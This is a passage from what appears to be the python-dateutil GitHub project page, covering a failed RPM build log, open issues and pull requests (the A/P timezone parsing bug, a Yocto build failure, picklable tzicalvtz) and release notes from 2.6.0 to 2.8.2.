    [   84s]                 # We include any files the collector has already decided to
    [   84s]                 # trace whether or not on re-investigation we still think it
    [   84s]                 # wants to trace them. The reason for this is that in some
    [   84s]                 # cases coverage gets the wrong answer when we run it
    [   84s]                 # ourselves due to reasons that are our fault but are hard to
    [   84s]                 # fix (we lie about where certain functions come from).
    [   84s]                 # This causes us to not record the actual test bodies as
    [   84s]                 # covered. But if we intended to trace test bodies then the
    [   84s]                 # file must already have been traced when getting to this point
    [   84s]                 # and so will already be in the collector's data. Hence we can
    [   84s]                 # use that information to get the correct answer here.
    [   84s]                 # See issue 997 for more context.
    [   84s]                 self.files_to_propagate = set(parent.data)
    [   84s]                 self.hijack_collector(parent)
    [   84s]     
    [   84s]             self.collector = Collector(
    [   84s]                 branch=True,
    [   84s]                 timid=FORCE_PURE_TRACER,
    [   84s]                 should_trace=self.should_trace,
    [   84s]                 check_include=hypothesis_check_include,
    [   84s]                 concurrency='thread',
    [   84s] >               warn=escalate_warning,
    [   84s]             )
    [   84s] E           TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'
    [   84s] 
    [   84s] /usr/lib/python3.7/site-packages/hypothesis/core.py:516: TypeError
    [   84s] ======== 3 failed, 2007 passed, 47 skipped, 19 xfailed in 9.36 seconds =========
    [   84s] error: Bad exit status from /var/tmp/rpm-tmp.ZZAKMf (%check)
    [   84s] 
    [   84s] 
    [   84s] RPM build errors:
    [   84s]     Bad exit status from /var/tmp/rpm-tmp.ZZAKMf (%check)
    [   84s] + '[' 1 -ne 0 ']'
    [   84s] + exit 1
    [   84s] 
    [   84s] armbuild192b168b175b2 failed "build python-dateutil.spec" at Wed Dec 14 06:12:05 UTC 2022.
    [   84s] 
    
    opened by alittlesir 0
  • Parser fails to regonize timezones

    Parser fails to regonize timezones "A" and "P"

    What is happening

    For context, some timezones are named with a single letter (A,B,C,D,..,Z) (cf. https://www.timeanddate.com/time/zones/a or https://www.timeanddate.com/time/zones/p) The parser generally recognizes them correctly as timezones:

    In [1]: from dateutil import parser
    In [2]: date = parser.parse("Thu Jun 02 11:56:53 B 2011", tzinfos={"B": 2*3600})
    In [3]: date
    Out[3]: datetime.datetime(2011, 6, 2, 11, 56, 53)
    In [4]: date.isoformat()
    Out[4]: '2011-06-02T11:56:53+02:00'
    

    However, it seems that timezones A and P are recognized as aliases for AM and PM:

    In [3]: parser.parse("Thu Jun 02 12:56:53 A 2011", tzinfos={"A": 3600}).isoformat() # Noon in UTC+1
    Out[3]: '2011-06-02T00:56:53' # Midnight in UTC
    
    In [4]: parser.parse("Thu Jun 02 12:56:53 P 2011", tzinfos={"P": -3*3600}).isoformat()
    Out[4]: '2011-06-02T12:56:53'
    

    This means that date using 24 hour format in these timezones are broken :

    In [5]: parser.parse("Thu Jun 02 13:56:53 A 2011")
    ---------------------------------------------------------------------------
    ParserError                               Traceback (most recent call last)
    Cell In[5], line 1
    ----> 1 parser.parse("Thu Jun 02 13:56:53 A 2011")
    
    File ~/.virtualenvs/tmp-9cee89e9c581522/lib/python3.10/site-packages/dateutil/parser/_parser.py:1368, in parse(timestr, parserinfo, **kwargs)
       1366     return parser(parserinfo).parse(timestr, **kwargs)
       1367 else:
    -> 1368     return DEFAULTPARSER.parse(timestr, **kwargs)
    
    File ~/.virtualenvs/tmp-9cee89e9c581522/lib/python3.10/site-packages/dateutil/parser/_parser.py:643, in parser.parse(self, timestr, default, ignoretz, tzinfos, **kwargs)
        640 res, skipped_tokens = self._parse(timestr, **kwargs)
        642 if res is None:
    --> 643     raise ParserError("Unknown string format: %s", timestr)
        645 if len(res) == 0:
        646     raise ParserError("String does not contain a date: %s", timestr)
    
    ParserError: Unknown string format: Thu Jun 02 13:56:53 A 2011
    

    What is the result

    Dates expressed in A and P timezones are not parsed correctly and can even raise exceptions

    What is expected

    Dates expressed in A and P timezones are parsed correctly and, if tzinfo is supplied, are offseted correctly

    opened by DB-37 0
  • ENH: disable_durations in parse

    ENH: disable_durations in parse

    Summary of changes

    Add a parameter "disable_durations" to disable parsing components e.g. "2m1" as parts of datetimes.

    Pull Request Checklist

    • [x] Changes have tests
    • [x] Authors have been added to AUTHORS.md
    • [ ] News fragment added in changelog.d. See CONTRIBUTING.md for details
    opened by jbrockmendel 1
  • Compile issues with dateutil in Yocto build (Sumo) on Ubuntu 16.04.07 LTS

    Compile issues with dateutil in Yocto build (Sumo) on Ubuntu 16.04.07 LTS

    I am getting some weird compile errors when I try to include dateutil package in my python build. This is Yocto (Sumo) build from meta-openembedded on an Ubuntu 16.04.07 LTS build environment. Says syntax errors. If I remove just the dateutil package it completes the build fine with all the other python and python3 packages. It fails the same in both builds (python and python3). I have tried 2.7.1, 2.7.5, and 2.8.2 all with the same failure.

    Any suggestions would be appreciated.

    Initialising tasks: 100% |#########################################################################################################################################| Time: 0:00:04 NOTE: Executing SetScene Tasks NOTE: Executing RunQueue Tasks ERROR: python-dateutil-2.7.2-r0 do_compile: python setup.py build execution failed. ERROR: python-dateutil-2.7.2-r0 do_compile: Function failed: do_compile (log file is located at /home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/temp/log.do_compile.11322) ERROR: Logfile of failure stored in: /home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/temp/log.do_compile.11322 Log data follows: | DEBUG: Executing shell function do_compile | Traceback (most recent call last): | File "setup.py", line 86, in | "test": Unsupported | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/init.py", line 128, in setup | _install_setup_requires(attrs) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/init.py", line 123, in _install_setup_requires | dist.fetch_build_eggs(dist.setup_requires) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/dist.py", line 506, in fetch_build_eggs | replace_conflicting=True, | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/pkg_resources/init.py", line 774, in resolve | replace_conflicting=replace_conflicting | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/pkg_resources/init.py", line 1057, in best_match | return self.obtain(req, installer) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/pkg_resources/init.py", line 1069, in obtain | return installer(requirement) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/dist.py", line 573, in fetch_build_egg | return cmd.easy_install(req) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 673, in easy_install | return self.install_item(spec, dist.location, tmpdir, deps) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 699, in install_item | dists = self.install_eggs(spec, download, tmpdir) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 884, in install_eggs | return self.build_and_install(setup_script, setup_base) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 1152, in build_and_install | self.run_setup(setup_script, setup_base, args) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 1138, in run_setup | run_setup(setup_script, args) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 253, in run_setup | raise | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/contextlib.py", line 35, in exit | self.gen.throw(type, value, traceback) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 195, in setup_context | yield | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/contextlib.py", line 35, in exit | self.gen.throw(type, value, traceback) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 166, in save_modules | saved_exc.resume() | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 141, in resume | six.reraise(type, exc, self._tb) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 154, in save_modules | yield saved | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 195, in setup_context | yield | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 250, in run_setup | _execfile(setup_script, ns) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 44, in _execfile | code = compile(script, filename, 'exec') | File "/tmp/easy_install-9yiumC/setuptools_scm-7.0.5/setup.py", line 20 | def scm_version() -> str: | ^ | SyntaxError: invalid syntax | ERROR: python setup.py build execution failed. | WARNING: exit code 1 from a shell command. | ERROR: Function failed: do_compile (log file is located at /home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/temp/log.do_compile.11322) ERROR: Task (/home/MCA_RDP_SRV/207001271/poky-pi-tmp/meta-openembedded/meta-python/recipes-devtools/python/python-dateutil_2.7.2.bb:do_compile) failed with exit code '1' NOTE: Tasks Summary: Attempted 3656 tasks of which 3650 didn't need to be rerun and 1 failed.

    Summary: 1 task failed: /home/MCA_RDP_SRV/207001271/poky-pi-tmp/meta-openembedded/meta-python/recipes-devtools/python/python-dateutil_2.7.2.bb:do_compile Summary: There were 2 ERROR messages shown, returning a non-zero exit code. 207001271@mcasvga2:~/poky-pi-tmp/build$

    opened by trmong 1
  • Make tzicaltvz pickable (fix #1242)

    Make tzicaltvz pickable (fix #1242)

    FEEDBACK NEEDED

    I'm opening an early pull request to get some feedback. I didn't write tests or news fragment yet because I'd like to know if I'm getting on the right track first. Thank you!

    Summary of changes

    Make instances of _tzicalvtz (and because of a dependency, also rrulebase) pickable.

    Closes #1242

    Pull Request Checklist

    • [ ] Changes have tests
    • [ ] Authors have been added to AUTHORS.md
    • [ ] News fragment added in changelog.d. See CONTRIBUTING.md for details
    opened by daniele-athome 1
Releases(2.8.2)
  • 2.8.2(Jul 14, 2021)

    Version 2.8.2 (2021-07-08)

    Data updates

    • Updated tzdata version to 2021a. (gh pr #1128)

    Bugfixes

    • Fixed a bug in the parser where non-ValueError exceptions would be raised during exception handling; this would happen, for example, if an IllegalMonthError was raised in dateutil code. Fixed by Mark Bailey. (gh issue #981, pr #987).
    • Fixed the custom repr for dateutil.parser.ParserError, which was not defined due to an indentation error. (gh issue #991, gh pr #993)
    • Fixed a bug that caused b' prefixes to appear in parse_isodate exception messages. Reported and fixed by Paul Brown (@pawl) (gh pr #1122)
    • Make isoparse raise when trying to parse times with inconsistent use of : separator. Reported and fixed by @mariocj89 (gh pr #1125).
    • Fixed tz.gettz() not returning local time when passed an empty string. Reported by @labrys (gh issues #925, #926). Fixed by @ffe4 (gh pr #1024)

    Documentation changes

    • Rearranged parser documentation into "Functions", "Classes" and "Warnings and Exceptions" categories. (gh issue #992, pr #994).
    • Updated parser.parse documentation to reflect the switch from ValueError to ParserError. (gh issue #992, pr #994).
    • Fixed methods in the rrule module not being displayed in the docs. (gh pr #1025)
    • Changed some relative links in the exercise documentation to refer to the document locations in the input tree, rather than the generated HTML files in the HTML output tree (which presumably will not exist in non-HTML output formats). (gh pr #1078).

    Misc

    • Moved test_imports.py, test_internals.py and test_utils.py to pytest. Reported and fixed by @jpurviance (gh pr #978)
    • Added project_urls for documentation and source. Patch by @andriyor (gh pr #975).
    • Simplified handling of bytes and bytearray in _parser._timelex. Reported and fixed by @frenzymadness (gh issue #1060).
    • Changed the tests against the upstream tz database to always generate fat binaries, since until GH-590 and GH-1059 are resolved, "slim" zic binaries will cause problems in many zones, causing the tests to fail. This also updates zoneinfo.rebuild to always generate fat binaries. (gh pr #1076).
    • Moved sdist and wheel generation to use python-build. Reported and fixed by @mariocj89 (gh pr #1133).
    Source code(tar.gz)
    Source code(zip)
  • 2.8.1(Nov 3, 2019)

    Version 2.8.1 (2019-11-03)

    Data updates

    • Updated tzdata version to 2019c.

    Bugfixes

    • Fixed a race condition in the tzoffset and tzstr "strong" caches on Python 2.7. Reported by @kainjow (gh issue #901).
    • Parsing errors will now raise ParserError, a subclass of ValueError, which has a nicer string representation. Patch by @gfyoung (gh pr #881).
    • parser.parse will now raise TypeError when tzinfos is passed a type that cannot be interpreted as a time zone. Prior to this change, it would raise an UnboundLocalError instead. Patch by @jbrockmendel (gh pr #891).
    • Changed error message raised when when passing a bytes object as the time zone name to gettz in Python 3. Reported and fixed by @labrys () (gh issue #927, gh pr #935).
    • Changed compatibility logic to support a potential Python 4.0 release. Patch by Hugo van Kemenade (gh pr #950).
    • Updated many modules to use tz.UTC in favor of tz.tzutc() internally, to avoid an unnecessary function call. (gh pr #910).
    • Fixed issue where dateutil.tz was using a backported version of contextlib.nullcontext even in Python 3.7 due to a malformed import statement. (gh pr #963).

    Tests

    • Switched from using assertWarns to using pytest.warns in the test suite. (gh pr #969).
    • Fix typo in setup.cfg causing PendingDeprecationWarning to not be explicitly specified as an error in the warnings filter. (gh pr #966)
    • Fixed issue where test_tzlocal_offset_equal would fail in certain environments (such as FreeBSD) due to an invalid assumption about what time zone names are provided. Reported and fixed by Kubilay Kocak (gh issue #918, pr #928).
    • Fixed a minor bug in test_isoparser related to bytes/str handling. Fixed by @fhuang5 (gh issue #776, gh pr #879).
    • Explicitly listed all markers used in the pytest configuration. (gh pr #915)
    • Extensive improvements to the parser test suite, including the adoption of pytest-style tests and the addition of parametrization of several test cases. Patches by @jbrockmendel (gh prs #735, #890, #892, #894).
    • Added tests for tzinfos input types. Patch by @jbrockmendel (gh pr #891).
    • Fixed failure of test suite when changing the TZ variable is forbidden. Patch by @shadchin (gh pr #893).
    • Pinned all test dependencies on Python 3.3. (gh prs #934, #962)

    Documentation changes

    • Fixed many misspellings, typos and styling errors in the comments and documentation. Patch by Hugo van Kemenade (gh pr #952).

    Misc

    • Added Python 3.8 to the trove classifiers. (gh pr #970)
    • Moved as many keys from setup.py to setup.cfg as possible. Fixed by @FakeNameSE, @aquinlan82, @jachen20, and @gurgenz221 (gh issue #871, gh pr #880).
    • Reorganized parser methods by functionality. Patch by @jbrockmendel (gh pr #882).
    • Switched release.py over to using pep517.build for creating releases, rather than direct invocations of setup.py. Fixed by @smeng10 (gh issue #869, gh pr #875).
    • Added a "build" environment into the tox configuration, to handle dependency management when making releases. Fixed by @smeng10 (gh issue #870,r gh pr #876).
    • GH #916, GH #971
    Source code(tar.gz)
    Source code(zip)
    python-dateutil-2.8.1.tar.gz(323.96 KB)
    python-dateutil-2.8.1.tar.gz.asc(833 bytes)
    python_dateutil-2.8.1-py2.py3-none-any.whl(221.85 KB)
    python_dateutil-2.8.1-py2.py3-none-any.whl.asc(833 bytes)
  • 2.7.3(May 10, 2018)

    Data updates

    • Update tzdata to 2018e. (gh pr #710)

    Bugfixes

    • Fixed an issue where decimal.Decimal would cast NaN or infinite value in a parser.parse, which will raise decimal.Decimal-specific errors. Reported and fixed by @amureki (gh issue #662, gh pr #679).
    • Fixed a ValueError being thrown if tzinfos call explicity returns None. Reported by @pganssle (gh issue #661) Fixed by @parsethis (gh pr #681)
    • Fixed incorrect parsing of certain dates earlier than 100 AD when repesented in the form "%B.%Y.%d", e.g. "December.0031.30". (gh issue #687, pr #700)
    • Fixed a bug where automatically generated DTSTART was naive even if a specified UNTIL had a time zone. Automatically generated DTSTART will now take on the timezone of an UNTIL date, if provided. Reported by @href (gh issue #652). Fixed by @absreim (gh pr #693).

    Documentation changes

    • Corrected link syntax and updated URL to https for ISO year week number notation in relativedelta examples. (gh issue #670, pr #711)
    • Add doctest examples to tzfile documentation. Done by @weatherpattern and @pganssle (gh pr #671)
    • Updated the documentation for relativedelta. Removed references to tuple arguments for weekday, explained effect of weekday(_, 1) and better explained the order of operations that relativedelta applies. Fixed by @kvn219 @huangy22 and @ElliotJH (gh pr #673)
    • Added changelog to documentation. (gh issue #692, gh pr #707)
    • Changed order of keywords in rrule docstring. Reported and fixed by @rmahajan14 (gh issue #686, gh pr #695).
    • Added documentation for dateutil.tz.gettz. Reported by @pganssle (gh issue #647). Fixed by @weatherpattern (gh pr #704)
    • Cleaned up malformed RST in the tz documentation. (gh issue #702, gh pr #706)
    • Changed the default theme to sphinx_rtd_theme, and changed the sphinx configuration to go along with that. (gh pr #707)
    • Reorganized dateutil.tz documentation and fixed issue with the dateutil.tz docstring. (gh pr #714)

    Misc

    • GH #674, GH #688, GH #699
    Source code(tar.gz)
    Source code(zip)
  • 2.7.2(Mar 26, 2018)

  • 2.7.1(Mar 24, 2018)

    Data updates

    • Updated tzdata version to 2018d.

    Bugfixes

    • Fixed issue where parser.parse would occasionally raise decimal.Decimal-specific error types rather than ValueError. Reported by @amureki (gh issue #632). Fixed by @pganssle (gh pr #636).
    • Improve error message when rrule's dtstart and until are not both naive or both aware. Reported and fixed by @ryanpetrello (gh issue #633, gh pr #634)

    Misc

    • GH #644, GH #648
    Source code(tar.gz)
    Source code(zip)
    python_dateutil-2.7.1-py2.py3-none-any.whl(207.27 KB)
    python_dateutil-2.7.1-py2.py3-none-any.whl.asc(833 bytes)
    python-dateutil-2.7.1.tar.gz(291.07 KB)
    python-dateutil-2.7.1.tar.gz.asc(833 bytes)
  • 2.7.0(Mar 11, 2018)

    • Dropped support for Python 2.6 (gh pr #362 by @jdufresne)
    • Dropped support for Python 3.2 (gh pr #626)
    • Updated zoneinfo file to 2018c (gh pr #616)
    • Changed licensing scheme so all new contributions are dual licensed under Apache 2.0 and BSD. (gh pr #542, issue #496)
    • Added all variable to the root package. Reported by @tebriel (gh issue #406), fixed by @mariocj89 (gh pr #494)
    • Added python_requires to setup.py so that pip will distribute the right version of dateutil. Fixed by @jakec-github (gh issue #537, pr #552)
    • Added the utils submodule, for miscellaneous utilities.
    • Added within_delta function to utils - added by @justanr (gh issue #432, gh pr #437)
    • Added today function to utils (gh pr #474)
    • Added default_tzinfo function to utils (gh pr #475), solving an issue reported by @nealmcb (gh issue #94)
    • Added dedicated ISO 8601 parsing function isoparse (gh issue #424). Initial implementation by @pganssle in gh pr #489 and #622, with a pre-release fix by @kirit93 (gh issue #546, gh pr #573).
    • Moved parser module into parser/_parser.py and officially deprecated the use of several private functions and classes from that module. (gh pr #501, #515)
    • Tweaked parser error message to include rejected string format, added by @pbiering (gh pr #300)
    • Add support for parsing bytesarray, reported by @uckelman (gh issue #417) and fixed by @uckelman and @pganssle (gh pr #514)
    • Started raising a warning when the parser finds a timezone string that it cannot construct a tzinfo instance for (rather than succeeding with no indication of an error). Reported and fixed by @jbrockmendel (gh pr #540)
    • Dropped the use of assert in the parser. Fixed by @jbrockmendel (gh pr #502)
    • Fixed to assertion logic in parser to support dates like '2015-15-May', reported and fixed by @jbrockmendel (gh pr #409)
    • Fixed IndexError in parser on dates with trailing colons, reported and fixed by @jbrockmendel (gh pr #420)
    • Fixed bug where hours were not validated, leading to improper parse. Reported by @heappro (gh pr #353), fixed by @jbrockmendel (gh pr #482)
    • Fixed problem parsing strings in %b-%Y-%d format. Reported and fixed by @jbrockmendel (gh pr #481)
    • Fixed problem parsing strings in the %d%B%y format. Reported by @asishm (gh issue #360), fixed by @jbrockmendel (gh pr #483)
    • Fixed problem parsing certain unambiguous strings when year <99 (gh pr #510). Reported by @alexwlchan (gh issue #293).
    • Fixed issue with parsing an unambiguous string representation of an ambiguous datetime such that if possible the correct value for fold is set. Fixes issue reported by @JordonPhillips and @pganssle (gh issue #318, #320, gh pr #517)
    • Fixed issue with improper rounding of fractional components. Reported by @dddmello (gh issue #427), fixed by @m-dz (gh pr #570)
    • Performance improvement to parser from removing certain min() calls. Reported and fixed by @jbrockmendel (gh pr #589)
    • Significantly refactored parser code by @jbrockmendel (gh prs #419, #436, #490, #498, #539) and @pganssle (gh prs #435, #468)
    • Implementated of hash for relativedelta and weekday, reported and fixed by @mrigor (gh pr #389)
    • Implemented abs for relativedelta. Reported by @binnisb and @pferreir (gh issue #350, pr #472)
    • Fixed relativedelta.weeks property getter and setter to work for both negative and positive values. Reported and fixed by @souliane (gh issue #459, pr #460)
    • Fixed issue where passing whole number floats to the months or years arguments of the relativedelta constructor would lead to errors during addition. Reported by @arouanet (gh pr #411), fixed by @lkollar (gh pr #553)
    • Added a pre-built tz.UTC object representing UTC (gh pr #497)
    • Added a cache to tz.gettz so that by default it will return the same object for identical inputs. This will change the semantics of certain operations between datetimes constructed with tzinfo=tz.gettz(...). (gh pr #628)
    • Changed the behavior of tz.tzutc to return a singleton (gh pr #497, #504)
    • Changed the behavior of tz.tzoffset to return the same object when passed the same inputs, with a corresponding performance improvement (gh pr #504)
    • Changed the behavior of tz.tzstr to return the same object when passed the same inputs. (gh pr #628)
    • Added .instance alternate constructors for tz.tzoffset and tz.tzstr, to allow the construction of a new instance if desired. (gh pr #628)
    • Added the tz.gettz.nocache function to allow explicit retrieval of a new instance of the relevant tzinfo. (gh pr #628)
    • Expand definition of tz.tzlocal equality so that the local zone is allow equality with tzoffset and tzutc. (gh pr #598)
    • Deprecated the idiosyncratic tzstr format mentioned in several examples but evidently designed exclusively for dateutil, and very likely not used by any current users. (gh issue #595, gh pr #606)
    • Added the tz.resolve_imaginary function, which generates a real date from an imaginary one, if necessary. Implemented by @Cheukting (gh issue #339, gh pr #607)
    • Fixed issue where the tz.tzstr constructor would erroneously succeed if passed an invalid value for tzstr. Fixed by @pablogsal (gh issue #259, gh pr #581)
    • Fixed issue with tz.gettz for TZ variables that start with a colon. Reported and fixed by @lapointexavier (gh pr #601)
    • Added a lock to tz.tzical's cache. Reported and fixed by @Unrud (gh pr #430)
    • Fixed an issue with fold support on certain Python 3 implementations that used the pre-3.6 pure Python implementation of datetime.replace, most notably pypy3 (gh pr #446).
    • Added support for VALUE=DATE-TIME for DTSTART in rrulestr. Reported by @potuz (gh issue #401) and fixed by @Unrud (gh pr #429)
    • Started enforcing that within VTIMEZONE, the VALUE parameter can only be omitted or DATE-TIME, per RFC 5545. Reported by @Unrud (gh pr #439)
    • Added support for TZID parameter for DTSTART in rrulestr. Reported and fixed by @ryanpetrello (gh issue #614, gh pr #624)
    • Added 'RRULE:' prefix to rrule strings generated by rrule.str, in compliance with the RFC. Reported by @AndrewPashkin (gh issue #86), fixed by @jarondl and @mlorant (gh pr #450)
    • Switched to setuptools_scm for version management, automatically calculating a version number from the git metadata. Reported by @jreback (gh issue #511), implemented by @Sulley38 (gh pr #564)
    • Switched setup.py to use find_packages, and started testing against pip installed versions of dateutil in CI. Fixed issue with parser import discovered by @jreback in pandas-dev/pandas#18141. (gh issue #507, pr #509)
    • Switched test suite to using pytest (gh pr #495)
    • Switched CI over to use tox. Fixed by @gaborbernat (gh pr #549)
    • Added a test-only dependency on freezegun. (gh pr #474)
    • Reduced number of CI builds on Appveyor. Fixed by @kirit93 (gh issue #529, gh pr #579)
    • Made xfails strict by default, so that an xpass is a failure. (gh pr #567)
    • Added a documentation generation stage to tox and CI. (gh pr #568)
    • Added an explicit warning when running python setup.py explaining how to run the test suites with pytest. Fixed by @lkollar. (gh issue #544, gh pr #548)
    • Added requirements-dev.txt for test dependency management (gh pr #499, #516)
    • Fixed code coverage metrics to account for Windows builds (gh pr #526)
    • Fixed code coverage metrics to NOT count xfails. Fixed by @gaborbernat (gh issue #519, gh pr #563)
    • Style improvement to zoneinfo.tzfile that was confusing to static type checkers. Reported and fixed by @quodlibetor (gh pr #485)
    • Several unused imports were removed by @jdufresne. (gh pr #486)
    • Switched isinstance(*, collections.Callable) to callable, which is available on all supported Python versions. Implemented by @jdufresne (gh pr #612)
    • Added CONTRIBUTING.md (gh pr #533)
    • Added AUTHORS.md (gh pr #542)
    • Corrected setup.py metadata to reflect author vs. maintainer, (gh issue #477, gh pr #538)
    • Corrected README to reflect that tests are now run in pytest. Reported and fixed by @m-dz (gh issue #556, gh pr #557)
    • Updated all references to RFC 2445 (iCalendar) to point to RFC 5545. Fixed by @mariocj89 (gh issue #543, gh pr #555)
    • Corrected parse documentation to reflect proper integer offset units, reported and fixed by @abrugh (gh pr #458)
    • Fixed dangling parenthesis in tzoffset documentation (gh pr #461)
    • Started including the license file in wheels. Reported and fixed by @jdufresne (gh pr #476)
    • Indendation fixes to parser docstring by @jbrockmendel (gh pr #492)
    • Moved many examples from the "examples" documentation into their appropriate module documentation pages. Fixed by @Tomasz-Kluczkowski and @jakec-github (gh pr #558, #561)
    • Fixed documentation so that the parser.isoparse documentation displays. Fixed by @alexchamberlain (gh issue #545, gh pr #560)
    • Refactored build and release sections and added setup instructions to CONTRIBUTING. Reported and fixed by @kynan (gh pr #562)
    • Cleaned up various dead links in the documentation. (gh pr #602, #608, #618)
    Source code(tar.gz)
    Source code(zip)
    python-dateutil-2.7.0.tar.gz.asc(833 bytes)
    python-dateutil-2.7.0.tar.gz(286.65 KB)
    python_dateutil-2.7.0-py2.py3-none-any.whl.asc(833 bytes)
    python_dateutil-2.7.0-py2.py3-none-any.whl(202.35 KB)
  • 2.6.1(Jul 10, 2017)

    • Updated zoneinfo file to 2017b. (gh pr #395)
    • Added Python 3.6 to CI testing (gh pr #365)
    • Removed duplicate test name that was preventing a test from being run. Reported and fixed by @jdufresne (gh pr #371)
    • Fixed testing of folds and gaps, particularly on Windows (gh pr #392)
    • Fixed deprecated escape characters in regular expressions. Reported by @nascheme and @thierryba (gh issue #361), fixed by @thierryba (gh pr #358)
    • Many PEP8 style violations and other code smells were fixed by @jdufresne (gh prs #358, #363, #364, #366, #367, #368, #372, #374, #379, #380, #398)
    • Improved performance of tzutc and tzoffset objects. (gh pr #391)
    • Fixed issue with several time zone classes around DST transitions in any zones with +0 standard offset (e.g. Europe/London) (gh issue #321, pr #390)
    • Fixed issue with fuzzy parsing where tokens similar to AM/PM that are in the end skipped were dropped in the fuzzy_with_tokens list. Reported and fixed by @jbrockmendel (gh pr #332).
    • Fixed issue with parsing dates of the form X m YY. Reported by @jbrockmendel. (gh issue #333, pr #393)
    • Added support for parser weekdays with less than 3 characters. Reported by @arcadefoam (gh issue #343), fixed by @jonemo (gh pr #382)
    • Fixed issue with the addition and subtraction of certain relativedeltas. Reported and fixed by @kootenpv (gh issue #346, pr #347)
    • Fixed issue where the COUNT parameter of rrules was ignored if 0. Fixed by @mshenfield (gh pr #330), reported by @vaultah (gh issue #329).
    • Updated documentation to include the new tz methods. (gh pr #324)
    • Update documentation to reflect that the parser can raise TypeError, reported and fixed by @tomchuk (gh issue #336, pr #337)
    • Fixed an incorrect year in a parser doctest. Fixed by @xlotlu (gh pr #357)
    • Moved version information into _version.py and set up the versions more granularly.
    Source code(tar.gz)
    Source code(zip)
    python_dateutil-2.6.1-py2.py3-none-any.whl.asc(833 bytes)
    python_dateutil-2.6.1-py2.py3-none-any.whl(189.68 KB)
    python-dateutil-2.6.1.tar.gz.asc(833 bytes)
    python-dateutil-2.6.1.tar.gz(235.76 KB)
  • 2.6.0(Nov 8, 2016)

    • Added PEP-495-compatible methods to address ambiguous and imaginary dates in time zones in a backwards-compatible way. Ambiguous dates and times can now be safely represented by all dateutil time zones. Many thanks to Alexander Belopolski (@abalkin) and Tim Peters @tim-one for their inputs on how to address this. Original issues reported by Yupeng and @zed (lP: 1390262, gh issues #57, #112, #249, #284, #286, prs #127, #225, #248, #264, #302).
    • Added new methods for working with ambiguous and imaginary dates to the tz module. datetime_ambiguous() determines if a datetime is ambiguous for a given zone and datetime_exists() determines if a datetime exists in a given zone. This works for all fold-aware datetimes, not just those provided by dateutil. (gh issue #253, gh pr #302)
    • Fixed an issue where dst() in Portugal in 1996 was returning the wrong value in tz.tzfile objects. Reported by @abalkin (gh issue #128, pr #225)
    • Fixed an issue where zoneinfo.ZoneInfoFile errors were not being properly deep-copied. (gh issue #226, pr #225)
    • Refactored tzwin and tzrange as a subclass of a common class, tzrangebase, as there was substantial overlapping functionality. As part of this change, tzrange and tzstr now expose a transitions() function, which returns the DST on and off transitions for a given year. (gh issue #260, pr #302)
